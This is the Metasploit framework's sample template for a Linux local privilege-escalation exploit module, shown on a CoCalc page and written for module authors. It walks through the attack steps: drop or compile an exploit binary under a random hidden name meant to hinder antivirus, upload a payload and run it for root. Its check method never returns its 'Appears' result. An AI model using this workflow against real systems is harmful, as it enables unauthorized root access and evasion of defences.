CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/example_linux_priv_esc.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
###
7
#
8
# This exploit sample shows how an exploit module could be written to exploit
9
# a bug in a command on a linux computer for priv esc.
10
#
11
###
12
class MetasploitModule < Msf::Exploit::Local
13
Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
14
15
# includes: is_root?
16
include Msf::Post::Linux::Priv
17
# includes: has_gcc?
18
include Msf::Post::Linux::System
19
# includes: kernel_release
20
include Msf::Post::Linux::Kernel
21
# includes writable?, upload_file, upload_and_chmodx, exploit_data
22
include Msf::Post::File
23
# includes generate_payload_exe
24
include Msf::Exploit::EXE
25
# includes register_files_for_cleanup
26
include Msf::Exploit::FileDropper
27
# includes: COMPILE option, live_compile?, upload_and_compile
28
# strip_comments
29
include Msf::Post::Linux::Compile
30
prepend Msf::Exploit::Remote::AutoCheck
31
32
def initialize(info = {})
33
super(
34
update_info(
35
info,
36
# The Name should be just like the line of a Git commit - software name,
37
# vuln type, class. Preferably apply
38
# some search optimization so people can actually find the module.
39
# We encourage consistency between module name and file name.
40
'Name' => 'Sample Linux Priv Esc',
41
'Description' => %q{
42
This exploit module illustrates how a vulnerability could be exploited
43
in an linux command for priv esc.
44
},
45
'License' => MSF_LICENSE,
46
# The place to add your name/handle and email. Twitter and other contact info isn't handled here.
47
# Add reference to additional authors, like those creating original proof of concepts or
48
# reference materials.
49
# It is also common to comment in who did what (PoC vs metasploit module, etc)
50
'Author' => [
51
'h00die <[email protected]>', # msf module
52
'researcher' # original PoC, analysis
53
],
54
'Platform' => [ 'linux' ],
55
# from underlying architecture of the system. typically ARCH_X64 or ARCH_X86, but the exploit
56
# may only apply to say ARCH_PPC or something else, where a specific arch is required.
57
# A full list is available in lib/msf/core/payload/uuid.rb
58
'Arch' => [ ARCH_X86, ARCH_X64 ],
59
# What types of sessions we can use this module in conjunction with. Most modules use libraries
60
# which work on shell and meterpreter, but there may be a nuance between one of them, so best to
61
# test both to ensure compatibility.
62
'SessionTypes' => [ 'shell', 'meterpreter' ],
63
'Targets' => [[ 'Auto', {} ]],
64
# from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
65
# since privilege escalation modules typically result in elevated privileges, this is
66
# generally set to true
67
'Privileged' => true,
68
'References' => [
69
[ 'OSVDB', '12345' ],
70
[ 'EDB', '12345' ],
71
[ 'URL', 'http://www.example.com'],
72
[ 'CVE', '1978-1234']
73
],
74
'DisclosureDate' => '2023-11-29',
75
# Note that DefaultTarget refers to the index of an item in Targets, rather than name.
76
# It's generally easiest just to put the default at the beginning of the list and skip this
77
# entirely.
78
'DefaultTarget' => 0,
79
# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
80
'Notes' => {
81
'Stability' => [],
82
'Reliability' => [],
83
'SideEffects' => []
84
}
85
)
86
)
87
# force exploit is used to bypass the check command results
88
register_advanced_options [
89
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
90
]
91
end
92
93
# Simplify pulling the writable directory variable
94
def base_dir
95
datastore['WritableDir'].to_s
96
end
97
98
def check
99
# Check the kernel version to see if its in a vulnerable range
100
release = kernel_release
101
if Rex::Version.new(release.split('-').first) > Rex::Version.new('4.14.11') ||
102
Rex::Version.new(release.split('-').first) < Rex::Version.new('4.0')
103
return CheckCode::Safe("Kernel version #{release} is not vulnerable")
104
end
105
vprint_good "Kernel version #{release} appears to be vulnerable"
106
107
# Check the app is installed and the version, debian based example
108
package = cmd_exec('dpkg -l example | grep \'^ii\'')
109
if package&.include?('1:2015.3.14AR.1-1build1')
110
CheckCode::Appears("Vulnerable app version #{package} detected")
111
end
112
CheckCode::Safe("app #{package} is not vulnerable")
113
end
114
115
#
116
# The exploit method drops a payload file to the system, then either compiles and runs
117
# or just runs the exploit on the system.
118
#
119
def exploit
120
# Check if we're already root
121
if !datastore['ForceExploit'] && is_root?
122
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
123
end
124
125
# Make sure we can write our exploit and payload to the local system
126
unless writable? base_dir
127
fail_with Failure::BadConfig, "#{base_dir} is not writable"
128
end
129
130
# Upload exploit executable, writing to a random name so AV doesn't have too easy a job
131
executable_name = ".#{rand_text_alphanumeric(5..10)}"
132
executable_path = "#{base_dir}/#{executable_name}"
133
if live_compile?
134
vprint_status 'Live compiling exploit on system...'
135
upload_and_compile executable_path, strip_comments(exploit_data('example.c'))
136
rm_f "#{executable_path}.c"
137
else
138
vprint_status 'Dropping pre-compiled exploit on system...'
139
upload_and_chmodx executable_path, exploit_data('example')
140
end
141
142
# register the file for automatic cleanup
143
register_files_for_cleanup(executable_path)
144
145
# Upload payload executable
146
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
147
upload_and_chmodx payload_path, generate_payload_exe
148
# register payload for automatic cleanup
149
register_files_for_cleanup(payload_path)
150
151
# Launch exploit with a timeout. We also have a vprint_status so if the user wants all the
152
# output from the exploit being run, they can optionally see it
153
timeout = 30
154
print_status 'Launching exploit...'
155
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
156
output.each_line { |line| vprint_status line.chomp }
157
end
158
end
159
160